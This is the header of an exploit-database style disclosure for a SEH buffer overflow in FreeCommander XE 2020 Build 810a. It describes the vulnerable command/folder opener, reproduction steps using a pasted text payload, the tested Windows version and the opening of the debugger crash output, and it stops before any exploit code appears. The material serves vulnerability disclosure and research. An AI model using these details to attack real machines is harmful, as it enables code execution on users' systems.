# Exploit Title:    FreeCommander XE 2020 - Pathname Buffer Overflow (SEH)
# Version:          Build 810a 32-bit
# Software Link:    https://freecommander.com/downloads/FreeCommanderXE-32-public_setup.zip
# Exploit Author:   Hodorsec ([email protected] / [email protected])
# Vendor Homepage:  https://www.freecommander.com
# Tested on:        Win8.1 x64 - Build 9600

# Description:      
# - Exploits the command / folder opener in the main window by entering an overly string and pressing enter: a crash will occur and the Structured Exception Handler kicks in (SEH overflown).
# - Some stack alignment was required, which eventually led to the ability of running shellcode.

# Reproduction:
# - Use indicated OS or manipulate settings for stack alignment: your mileage may vary due to different offsets on other Windows versions / SP's.
# - Run the script, a TXT file will be generated
# - On the Windows machine, open the TXT file in Wordpad. Copy and paste the output in the command / folder opener of FreeCommander
# - Check results

# WinDBG initial crash output:
# (db4.648): Access violation - code c0000005 (!!! second chance !!!)
